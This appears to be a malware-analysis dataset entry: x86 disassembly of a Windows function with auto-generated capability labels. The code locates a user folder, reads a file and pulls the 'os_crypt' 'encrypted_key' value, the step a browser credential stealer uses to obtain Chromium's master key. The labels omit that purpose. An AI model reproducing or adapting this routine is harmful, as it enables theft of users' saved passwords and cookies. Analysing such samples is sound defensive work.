Function at 0x4017e0
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x419c18
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x8c
push esi
push edi
lea eax, [ebp - 0x50]
mov dword [ebp - 0x34], 0
push eax
push 0
push 0
push 0x41a200
mov dword [ebp - 0x50], 0
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x401ce7
call fcn.00406b60
push 0x400
mov esi, eax
call fcn.00407a9f
add esp, 4
mov edx, eax
mov edi, edx
mov dword [ebp - 0x18], edx
xor al, al
mov ecx, 0x400
rep stosb byte es:[edi], al
push 0x400
push edx
push 8
mov ecx, esi
call fcn.00401260
mov edi, dword [ebp - 0x50]
xorps xmm0, xmm0
mov esi, edi
mov dword [ebp - 0x14], edi
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
lea ecx, [esi + 2]
nop dword [eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x401880
sub esi, ecx
sar esi, 1
cmp esi, 0x7ffffffe
ja 0x401cfa
mov dword [ebp - 0x38], 7
cmp esi, 8
jae 0x4018c6
mov dword [ebp - 0x3c], esi
lea eax, [ebp - 0x4c]
add esi, esi
push esi
push edi
push eax
call fcn.0040a350
add esp, 0xc
xor eax, eax
mov word [ebp + esi - 0x4c], ax
jmp 0x401960
mov edi, esi
or edi, 7
cmp edi, 0x7ffffffe
jbe 0x4018e1
mov eax, 0x7fffffff
mov edi, 0x7ffffffe
add eax, eax
jmp 0x401902
mov eax, 0xa
cmp edi, eax
cmovb edi, eax
lea eax, [edi + 1]
cmp eax, 0x7fffffff
ja 0x401d04
add eax, eax
cmp eax, 0x1000
jb 0x40192b
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x401d04
push ecx
call fcn.00407a61
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x401d09
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x40193c
test eax, eax
je 0x40193a
push eax
call fcn.00407a61
add esp, 4
jmp 0x40193c
xor eax, eax
mov dword [ebp - 0x3c], esi
add esi, esi
push esi
push dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
push eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x38], edi
call fcn.0040a350
mov eax, dword [ebp - 0x10]
add esp, 0xc
xor ecx, ecx
mov word [esi + eax], cx
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 8
mov eax, dword [ebp - 0x3c]
jb 0x40197b
mov edx, dword [ebp - 0x4c]
lea esi, [edx + eax*2]
jmp 0x401981
lea esi, [ecx + eax*2]
lea edx, [ebp - 0x4c]
mov dword [ebp - 0x14], edx
xorps xmm0, xmm0
movups xmmword [ebp - 0x30], xmm0
cmp edx, esi
jne 0x4019a4
xor ecx, ecx
mov edx, 0xf
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], edx
mov byte [ebp - 0x30], cl
jmp 0x401a8e
mov ecx, esi
xor eax, eax
sub ecx, edx
mov dword [ebp - 0x10], eax
sar ecx, 1
mov edi, 0xf
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edi
cmp ecx, 0x7fffffff
ja 0x401cff
cmp ecx, 0x10
jb 0x401a51
mov edi, ecx
or edi, 0xf
cmp edi, 0x7fffffff
jbe 0x401a0e
mov ecx, 0x80000000
mov edi, 0x7fffffff
add ecx, 0x23
push ecx
call fcn.00407a61
add esp, 4
test eax, eax
je 0x401d09
mov edx, dword [ebp - 0x14]
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
jmp 0x401a4b
mov eax, 0x16
cmp edi, eax
cmovb edi, eax
lea eax, [edi + 1]
cmp eax, 0x1000
jb 0x401a2f
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x401d04
jmp 0x4019e9
test eax, eax
je 0x401a49
push eax
call fcn.00407a61
mov edx, dword [ebp - 0x14]
mov ecx, eax
mov eax, dword [ebp - 0x20]
add esp, 4
mov dword [ebp - 0x10], eax
jmp 0x401a4b
xor ecx, ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x1c], edi
mov al, byte [edx]
lea ecx, [ebp - 0x30]
cmp edi, 0x10
mov edi, dword [ebp - 0x10]
cmovae ecx, dword [ebp - 0x30]
add edx, 2
mov byte [edi + ecx], al
mov ecx, dword [ebp - 0x20]
inc ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x20], ecx
cmp edx, esi
je 0x401a79
mov edi, dword [ebp - 0x1c]
jmp 0x401a51
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
cmovae eax, dword [ebp - 0x30]
mov byte [ecx + eax], 0
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x18]
mov edi, esi
mov byte [ebp - 4], 1
lea eax, [edi + 1]
mov dword [ebp - 0x14], eax
nop dword [eax]
mov al, byte [edi]
inc edi
test al, al
jne 0x401aa0
sub edi, dword [ebp - 0x14]
mov eax, edx
sub eax, ecx
push edi
cmp edi, eax
ja 0x401ada
push dword [ebp - 0x18]
cmp edx, 0x10
lea esi, [ebp - 0x30]
lea eax, [ecx + edi]
cmovae esi, dword [ebp - 0x30]
add esi, ecx
mov dword [ebp - 0x20], eax
push esi
call fcn.0040a350
mov byte [esi + edi], 0
add esp, 0xc
mov esi, dword [ebp - 0x18]
jmp 0x401aeb
push esi
mov byte [ebp - 0x18], 0
lea ecx, [ebp - 0x30]
push dword [ebp - 0x18]
push edi
call fcn.00402320
push esi
call fcn.00407a5c
add esp, 4
lea eax, [ebp - 0x30]
cmp dword [ebp - 0x1c], 0x10
cmovae eax, dword [ebp - 0x30]
push 0
push 0
push 3
push 0
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401c6f
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.00407a9f
add esp, 4
mov dword [ebp - 0x18], eax
push 0
push 0
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x401c63
sub esp, 0xc
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 0x98]
call fcn.00401f60
mov edi, dword [ebp - 0x18]
lea ecx, [ebp - 0x98]
push edi
mov byte [ebp - 4], 2
call fcn.00402480
cmp dword [ebp - 0x68], 0
jne 0x401c56
mov esi, dword [ebp - 0x98]
lea eax, [ebp - 0x14]
push str.os_crypt
shl esi, 5
lea ecx, [ebp - 0x98]
add esi, dword [ebp - 0x90]
push eax
call fcn.00402140
cmp dword [eax], esi
je 0x401c56
push str.os_crypt
lea ecx, [ebp - 0x98]
call fcn.00402190
cmp word [eax + 0xe], 3
jne 0x401c56
push str.os_crypt
lea ecx, [ebp - 0x98]
call fcn.00402190
xorps xmm0, xmm0
mov ecx, 3
movups xmm1, xmmword [eax]
movups xmmword [eax], xmm0
mov word [eax + 0xe], cx
movups xmmword [ebp - 0x60], xmm1
movd esi, xmm1
psrldq xmm1, 8
movd eax, xmm1
shl esi, 5
push str.encrypted_key
add esi, eax
mov byte [ebp - 4], cl
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x60]
call fcn.00402140
cmp dword [eax], esi
je 0x401c56
push str.encrypted_key
lea ecx, [ebp - 0x60]
call fcn.00402190
mov esi, eax
mov eax, 0x1000
test word [esi + 0xe], ax
jne 0x401c3a
mov esi, dword [esi + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call fcn.00407a9f
add esp, 4
mov dword [ebp - 0x34], eax
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [ebp - 0x98]
call fcn.00401ef0
jmp 0x401c66
mov edi, dword [ebp - 0x18]
push edi
call fcn.00407a5c
add esp, 4
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x401c9f
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401c95
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401d09
push ecx
push edx
call fcn.00407a91
add esp, 8
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
cmp ecx, 8
jb 0x401ce7
mov edx, dword [ebp - 0x4c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401cdd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401d09
push ecx
push edx
call fcn.00407a91
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x34]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004017d0
call fcn.004017d0
call fcn.004011b0
call fcn.0040c836
int3